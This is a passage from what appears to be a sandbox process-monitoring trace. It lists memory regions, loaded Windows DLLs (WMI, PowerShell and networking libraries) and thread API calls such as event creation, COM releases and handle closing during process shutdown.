Region: id = 2190 start_va = 0x910000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 2194 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 2200 start_va = 0x4d80000 end_va = 0x4dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d80000" filename = "" Region: id = 2201 start_va = 0x5dd0000 end_va = 0x5e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005dd0000" filename = "" Region: id = 2202 start_va = 0x7ef30000 end_va = 0x7ef7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef30000" filename = "" Region: id = 2203 start_va = 0x7ef20000 end_va = 0x7ef2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef20000" filename = "" Region: id = 2207 start_va = 0xa00000 end_va = 0xa00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 2208 start_va = 0x75a70000 end_va = 0x75af2fff monitored = 0 entry_point = 0x75a723d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2209 start_va = 0xa50000 end_va = 0xa50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 2210 start_va = 0x6a8c0000 end_va = 0x6a8d9fff monitored = 0 entry_point = 0x6a8d03d0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll") Region: id = 2223 start_va = 0x6a850000 end_va = 0x6a8b0fff monitored = 0 entry_point = 0x6a88bf40 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\SysWOW64\\wbemcomn2.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn2.dll") Region: id = 2224 start_va = 0x72380000 end_va = 0x72396fff monitored = 0 entry_point = 0x723835fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 2235 start_va = 0x2070000 end_va = 0x20affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 2236 start_va = 0x5eb0000 end_va = 0x5eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005eb0000" filename = "" Region: id = 2237 start_va = 0x7ef83000 end_va = 0x7ef85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef83000" filename = "" Region: id = 2238 start_va = 0x6a840000 end_va = 0x6a84afff monitored = 0 entry_point = 0x6a8452a0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2240 start_va = 0x6a810000 end_va = 0x6a830fff monitored = 1 entry_point = 0x6a8198e0 region_type = mapped_file name = "wminet_utils.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wminet_utils.dll") Region: id = 2244 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 2246 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 2249 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 2611 start_va = 0x6a800000 end_va = 0x6a80efff monitored = 0 entry_point = 0x6a8093d0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2612 start_va = 0x6a750000 end_va = 0x6a7f5fff monitored = 0 entry_point = 0x6a7ba2f0 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 2618 start_va = 0x6a730000 end_va = 0x6a747fff monitored = 0 entry_point = 0x6a731335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 2619 start_va = 0x2070000 end_va = 0x20affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 2620 start_va = 0x5e80000 end_va = 0x5ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 2621 start_va = 0x7ef83000 end_va = 0x7ef85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef83000" filename = "" Region: id = 2782 start_va = 0xa60000 end_va = 0xa64fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmiutils.dll.mui" filename = "\\Windows\\SysWOW64\\wbem\\en-US\\wmiutils.dll.mui" (normalized: "c:\\windows\\syswow64\\wbem\\en-us\\wmiutils.dll.mui") Region: id = 2787 start_va = 0x5b60000 end_va = 0x5c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b60000" filename = "" Region: id = 2788 start_va = 0x5ec0000 end_va = 0x5efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ec0000" filename = "" Region: id = 2789 start_va = 0x5f20000 end_va = 0x5f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f20000" filename = "" Region: id = 2790 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2791 start_va = 0x5fb0000 end_va = 0x5feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005fb0000" filename = "" Region: id = 2792 start_va = 0x6000000 end_va = 0x603ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006000000" filename = "" Region: id = 2793 start_va = 0x7ef1d000 end_va = 0x7ef1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef1d000" filename = "" Region: id = 2797 start_va = 0x74940000 end_va = 0x7494afff monitored = 0 entry_point = 0x74941992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 2800 start_va = 0x73b40000 end_va = 0x73b7bfff monitored = 0 entry_point = 0x73b4145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 2805 start_va = 0x6040000 end_va = 0x623ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006040000" filename = "" Region: id = 2806 start_va = 0x73b30000 end_va = 0x73b34fff monitored = 0 entry_point = 0x73b315df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 2807 start_va = 0x73b20000 end_va = 0x73b25fff monitored = 0 entry_point = 0x73b21673 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 2813 start_va = 0x73ba0000 end_va = 0x73be3fff monitored = 0 entry_point = 0x73bb63f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 2814 start_va = 0x6240000 end_va = 0x645ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006240000" filename = "" Region: id = 2815 start_va = 0x74920000 end_va = 0x7493bfff monitored = 0 entry_point = 0x7492a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 2824 start_va = 0x73b90000 end_va = 0x73b96fff monitored = 0 entry_point = 0x73b9128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 2826 start_va = 0x739b0000 end_va = 0x739b5fff monitored = 0 entry_point = 0x739b14b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 2828 start_va = 0x6a6e0000 end_va = 0x6a717fff monitored = 0 entry_point = 0x6a6e990e region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 2831 start_va = 0x6240000 end_va = 0x640ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006240000" filename = "" Region: id = 2832 start_va = 0x6420000 end_va = 0x645ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006420000" filename = "" Region: id = 2838 start_va = 0x20f0000 end_va = 0x20f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 2839 start_va = 0x2100000 end_va = 0x2100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 2842 start_va = 0x2260000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 2843 start_va = 0x60d0000 end_va = 0x610ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000060d0000" filename = "" Region: id = 2844 start_va = 0x6200000 end_va = 0x623ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006200000" filename = "" Region: id = 2845 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2855 start_va = 0x69b70000 end_va = 0x6a6ddfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P521220ea#\\f6f5592245815a51dae8c19cd5d04783\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p521220ea#\\f6f5592245815a51dae8c19cd5d04783\\microsoft.powershell.commands.utility.ni.dll") Region: id = 2856 start_va = 0x20f0000 end_va = 0x20f7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2857 start_va = 0x2100000 end_va = 0x2107fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2862 start_va = 0x20f0000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 2865 start_va = 0x2100000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 2866 start_va = 0x2150000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 2871 start_va = 0x21a0000 end_va = 0x21a7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2872 start_va = 0x21b0000 end_va = 0x21b7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2873 start_va = 0x4b30000 end_va = 0x4b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b30000" filename = "" Region: id = 2874 start_va = 0x60b0000 end_va = 0x60effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000060b0000" filename = "" Region: id = 2875 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2888 start_va = 0x21a0000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 2889 start_va = 0x21a0000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 2975 start_va = 0x2400000 end_va = 0x243ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 2976 start_va = 0x5f10000 end_va = 0x5f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f10000" filename = "" Region: id = 2977 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 2978 start_va = 0x21a0000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Thread: id = 13 os_tid = 0xf20 [0141.752] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4bc [0141.753] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4b4 [0141.753] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4b8 [0141.753] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4cc [0141.753] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x580 [0141.753] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4c8 [0141.754] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5ac [0141.754] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5b0 [0141.754] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5b4 [0141.754] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x5b8 [0141.754] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5bc [0141.754] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5c0 [0141.755] SetEvent (hEvent=0x4cc) returned 1 [0141.755] SetEvent (hEvent=0x4bc) returned 1 [0141.755] SetEvent (hEvent=0x4b4) returned 1 [0141.755] SetEvent (hEvent=0x4b8) returned 1 [0141.755] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5c4 [0141.755] SetEvent (hEvent=0x364) returned 1 [0141.775] SetEvent (hEvent=0x580) returned 1 [0141.775] SetEvent (hEvent=0x4c8) returned 1 [0141.775] SetEvent (hEvent=0x5ac) returned 1 [0141.814] CoCreateGuid (in: pguid=0x2ddec8 | out: pguid=0x2ddec8*(Data1=0x4c3341a0, Data2=0x320, Data3=0x46e4, Data4=([0]=0xb4, [1]=0xbb, [2]=0xeb, [3]=0xcc, [4]=0x8c, [5]=0x3e, [6]=0xb1, [7]=0xdf))) returned 0x0 [0141.816] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x28c0810*="Stopped", lpRawData=0x28c0738) returned 1 [0141.834] SetEvent (hEvent=0x364) returned 1 [0142.036] CloseHandle (hObject=0x364) returned 1 [0142.150] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0142.164] CoGetContextToken (in: pToken=0x2df58c | out: pToken=0x2df58c) returned 0x0 [0142.164] IUnknown:QueryInterface (in: This=0x6adc48, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2df5b0 | out: ppvObject=0x2df5b0*=0x6adc54) returned 0x0 [0142.164] IComThreadingInfo:GetCurrentThreadType (in: This=0x6adc54, pThreadType=0x2df610 | out: pThreadType=0x2df610*=0) returned 0x0 [0142.164] IUnknown:Release (This=0x6adc54) returned 0x1 [0142.293] CoGetContextToken (in: pToken=0x2df29c | out: pToken=0x2df29c) returned 0x0 [0142.293] IUnknown:QueryInterface (in: This=0x6adc48, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2df2c0 | out: ppvObject=0x2df2c0*=0x6adc54) returned 0x0 [0142.293] IComThreadingInfo:GetCurrentThreadType (in: This=0x6adc54, pThreadType=0x2df2ec | out: pThreadType=0x2df2ec*=0) returned 0x0 [0142.293] IUnknown:Release (This=0x6adc54) returned 0x1 [0142.296] CoGetContextToken (in: pToken=0x2df29c | out: pToken=0x2df29c) returned 0x0 [0142.297] IUnknown:QueryInterface (in: This=0x6adc48, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2df2c0 | out: ppvObject=0x2df2c0*=0x6adc54) returned 0x0 [0142.298] IComThreadingInfo:GetCurrentThreadType (in: This=0x6adc54, pThreadType=0x2df2ec | out: pThreadType=0x2df2ec*=0) returned 0x0 [0142.298] IUnknown:Release (This=0x6adc54) returned 0x1 [0142.346] CoGetContextToken (in: pToken=0x2df29c | out: pToken=0x2df29c) returned 0x0 [0142.346] IUnknown:QueryInterface (in: This=0x6adc48, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2df2c0 | out: ppvObject=0x2df2c0*=0x6adc54) returned 0x0 [0142.346] IComThreadingInfo:GetCurrentThreadType (in: This=0x6adc54, pThreadType=0x2df2ec | out: pThreadType=0x2df2ec*=0) returned 0x0 [0142.346] IUnknown:Release (This=0x6adc54) returned 0x1 [0142.407] CoGetContextToken (in: pToken=0x2df2bc | out: pToken=0x2df2bc) returned 0x0 [0142.407] IUnknown:QueryInterface (in: This=0x6adc48, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2df2e0 | out: ppvObject=0x2df2e0*=0x6adc54) returned 0x0 [0142.407] IComThreadingInfo:GetCurrentThreadType (in: This=0x6adc54, pThreadType=0x2df30c | out: pThreadType=0x2df30c*=0) returned 0x0 [0142.407] IUnknown:Release (This=0x6adc54) returned 0x1 [0142.579] CoUninitialize () Thread: id = 19 os_tid = 0xf6c Thread: id = 21 os_tid = 0xf74 [0115.194] RegCloseKey (hKey=0x360) returned 0x0 [0118.791] CloseHandle (hObject=0x3e8) returned 1 [0118.791] CloseHandle (hObject=0x3c8) returned 1 [0118.791] CloseHandle (hObject=0x3ec) returned 1 [0118.792] CloseHandle (hObject=0x3f4) returned 1 [0118.792] CloseHandle (hObject=0x3f0) returned 1 [0131.172] CoGetContextToken (in: pToken=0x52fc24 | out: pToken=0x52fc24) returned 0x0 [0131.172] CoGetContextToken (in: pToken=0x52fba8 | out: pToken=0x52fba8) returned 0x0 [0131.172] WbemDefPath:IUnknown:Release (This=0x5cdcc18) returned 0x1 [0131.172] WbemDefPath:IUnknown:Release (This=0x5cdcc18) returned 0x0 [0131.172] CoGetContextToken (in: pToken=0x52fba8 | out: pToken=0x52fba8) returned 0x0 [0131.172] WbemDefPath:IUnknown:Release (This=0x5cdcc88) returned 0x1 [0131.172] WbemDefPath:IUnknown:Release (This=0x5cdcc88) returned 0x0 [0131.172] CoGetContextToken (in: pToken=0x52fba8 | out: pToken=0x52fba8) returned 0x0 [0131.172] WbemDefPath:IUnknown:Release (This=0x5cdccf8) returned 0x1 [0131.172] WbemDefPath:IUnknown:Release (This=0x5cdccf8) returned 0x0 [0131.172] CoGetContextToken (in: pToken=0x52fba8 | out: pToken=0x52fba8) returned 0x0 [0131.173] WbemDefPath:IUnknown:Release (This=0x5cdcd68) returned 0x1 [0131.173] WbemDefPath:IUnknown:Release (This=0x5cdcd68) returned 0x0 [0131.173] CoGetContextToken (in: pToken=0x52fba8 | out: pToken=0x52fba8) returned 0x0 [0131.173] WbemDefPath:IUnknown:Release (This=0x5cdcdd8) returned 0x1 [0131.173] WbemDefPath:IUnknown:Release (This=0x5cdcdd8) returned 0x0 [0131.173] CoGetContextToken (in: pToken=0x52fba8 | out: pToken=0x52fba8) returned 0x0 [0131.173] WbemDefPath:IUnknown:Release (This=0x5cdce48) returned 0x1 [0131.173] WbemDefPath:IUnknown:Release (This=0x5cdce48) returned 0x0 [0131.173] CoGetContextToken (in: pToken=0x52fba8 | out: pToken=0x52fba8) returned 0x0 [0131.173] WbemDefPath:IUnknown:Release (This=0x5cdceb8) returned 0x1 [0131.173] WbemDefPath:IUnknown:Release (This=0x5cdceb8) returned 0x0 [0131.173] CoGetContextToken (in: pToken=0x52fba8 | out: pToken=0x52fba8) returned 0x0 [0131.173] WbemDefPath:IUnknown:Release (This=0x5cdd008) returned 0x1 [0131.173] WbemDefPath:IUnknown:Release (This=0x5cdd008) returned 0x0 [0131.173] CoGetContextToken (in: pToken=0x52fba8 | out: pToken=0x52fba8) returned 0x0 [0131.173] WbemDefPath:IUnknown:Release (This=0x5cdd078) returned 0x1 [0131.173] WbemDefPath:IUnknown:Release (This=0x5cdd078) returned 0x0 [0131.173] CoGetContextToken (in: pToken=0x52fba8 | out: pToken=0x52fba8) returned 0x0 [0131.173] WbemDefPath:IUnknown:Release (This=0x5cdd0e8) returned 0x1 [0131.173] WbemDefPath:IUnknown:Release (This=0x5cdd0e8) returned 0x0 [0131.174] CoGetContextToken (in: pToken=0x52fc24 | out: pToken=0x52fc24) returned 0x0 [0131.174] CoGetContextToken (in: pToken=0x52fba8 | out: pToken=0x52fba8) returned 0x0 [0131.174] WbemLocator:IUnknown:Release (This=0x5cc1160) returned 0x1 [0131.174] WbemLocator:IUnknown:Release (This=0x5cc1160) returned 0x0 [0131.174] CoGetContextToken (in: pToken=0x52fc24 | out: pToken=0x52fc24) returned 0x0 [0131.174] IUnknown:QueryInterface (in: This=0x6addb8, riid=0x71478ae0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52fbc4 | out: ppvObject=0x52fbc4*=0x6addc8) returned 0x0 [0131.174] CObjectContext::ContextCallback () returned 0x0 [0136.809] IUnknown:Release (This=0x6addc8) returned 0x1 [0136.810] IUnknown:Release (This=0x5ce4508) returned 0x0 [0136.810] CloseHandle (hObject=0x500) returned 1 [0136.810] CloseHandle (hObject=0x4fc) returned 1 [0136.810] CloseHandle (hObject=0x4f8) returned 1 [0136.810] CloseHandle (hObject=0x4f4) returned 1 [0136.811] CloseHandle (hObject=0x4f0) returned 1 [0136.811] CloseHandle (hObject=0x4ec) returned 1 [0136.811] CloseHandle (hObject=0x4e8) returned 1 [0136.811] CloseHandle (hObject=0x4e4) returned 1 [0136.811] CloseHandle (hObject=0x4e0) returned 1 [0136.811] CloseHandle (hObject=0x4dc) returned 1 [0136.811] CloseHandle (hObject=0x578) returned 1 [0136.812] CloseHandle (hObject=0x4d8) returned 1 [0136.812] CloseHandle (hObject=0x4d4) returned 1 [0136.812] CloseHandle (hObject=0x410) returned 1 [0142.294] EtwEventUnregister () returned 0x0 [0142.294] EtwEventUnregister () returned 0x0 [0142.295] EtwEventUnregister () returned 0x0 [0142.295] EtwEventUnregister () returned 0x0 [0142.295] EtwEventUnregister () returned 0x0 [0142.295] EtwEventUnregister () returned 0x0 [0142.295] EtwEventUnregister () returned 0x0 [0142.295] EtwEventUnregister () returned 0x0 [0142.304] LocalFree (hMem=0x6d7b88) returned 0x0 [0142.305] LocalFree (hMem=0x6d7b00) returned 0x0 [0142.310] IUnknown:Release (This=0x5d13d60) returned 0x0 [0142.311] IUnknown:Release (This=0x5ce3798) returned 0x0 [0142.311] IUnknown:Release (This=0x5cfadc8) returned 0x0 [0142.311] IUnknown:Release (This=0x5ccc608) returned 0x0 [0142.311] IUnknown:Release (This=0x5cfa430) returned 0x0 [0142.312] IUnknown:Release (This=0x5ce3b38) returned 0x0 [0142.312] IUnknown:Release (This=0x6f6768) returned 0x0 [0142.315] EtwEventUnregister () returned 0x0 [0142.317] IUnknown:Release (This=0x5ce4808) returned 0x0 [0142.321] CloseHandle (hObject=0x2d4) returned 1 [0142.324] CloseHandle (hObject=0x3c0) returned 1 [0142.324] CloseHandle (hObject=0x404) returned 1 [0142.324] CloseHandle (hObject=0x3f8) returned 1 [0142.325] CloseHandle (hObject=0x40c) returned 1 [0142.325] CloseHandle (hObject=0x408) returned 1 [0142.325] CloseHandle (hObject=0x5ac) returned 1 [0142.325] CloseHandle (hObject=0x35c) returned 1 [0142.326] CloseHandle (hObject=0x358) returned 1 [0142.326] CloseHandle (hObject=0x354) returned 1 [0142.326] CloseHandle (hObject=0x350) returned 1 [0142.326] CloseHandle (hObject=0x34c) returned 1 [0142.327] CloseHandle (hObject=0x348) returned 1 [0142.327] CloseHandle (hObject=0x344) returned 1 [0142.327] CloseHandle (hObject=0x340) returned 1 [0142.327] CloseHandle (hObject=0x33c) returned 1 [0142.328] CloseHandle (hObject=0x338) returned 1 [0142.328] CloseHandle (hObject=0x330) returned 1 [0142.328] CloseHandle (hObject=0x2cc) returned 1 [0142.328] CloseHandle (hObject=0x318) returned 1 [0142.329] CloseHandle (hObject=0x4c8) returned 1 [0142.329] CloseHandle (hObject=0x598) returned 1 [0142.329] CloseHandle (hObject=0x594) returned 1 [0142.330] CloseHandle (hObject=0x590) returned 1 [0142.330] CloseHandle (hObject=0x520) returned 1 [0142.330] CloseHandle (hObject=0x58c) returned 1 [0142.330] CloseHandle (hObject=0x3cc) returned 1 [0142.331] LocalFree (hMem=0x73f840) returned 0x0 [0142.331] UnmapViewOfFile (lpBaseAddress=0x9e0000) returned 1 [0142.337] CloseHandle (hObject=0x588) returned 1 [0142.337] CloseHandle (hObject=0x4d8) returned 1 [0142.338] CloseHandle (hObject=0x580) returned 1 [0142.338] CloseHandle (hObject=0x4cc) returned 1 [0142.338] CloseHandle (hObject=0x4b8) returned 1 [0142.339] CloseHandle (hObject=0x4d4) returned 1 [0142.339] CloseHandle (hObject=0x410) returned 1 [0142.339] CloseHandle (hObject=0x464) returned 1 [0142.339] CloseHandle (hObject=0x454) returned 1 [0142.340] CloseHandle (hObject=0x4c4) returned 1 [0142.340] CloseHandle (hObject=0x56c) returned 1 [0142.344] DeregisterEventSource (hEventLog=0x4e90004) returned 1 [0142.386] CloseHandle (hObject=0x564) returned 1 [0142.386] CloseHandle (hObject=0x4b4) returned 1 [0142.387] CloseHandle (hObject=0xf) returned 1 [0142.388] CloseHandle (hObject=0x4bc) returned 1 [0142.388] CloseHandle (hObject=0x5c4) returned 1 [0142.389] CloseHandle (hObject=0x5c0) returned 1 [0142.389] CloseHandle (hObject=0x568) returned 1 [0142.389] CloseHandle (hObject=0x5bc) returned 1 [0142.390] CloseHandle (hObject=0x5b8) returned 1 [0142.390] CloseHandle (hObject=0x4f8) returned 1 [0142.390] 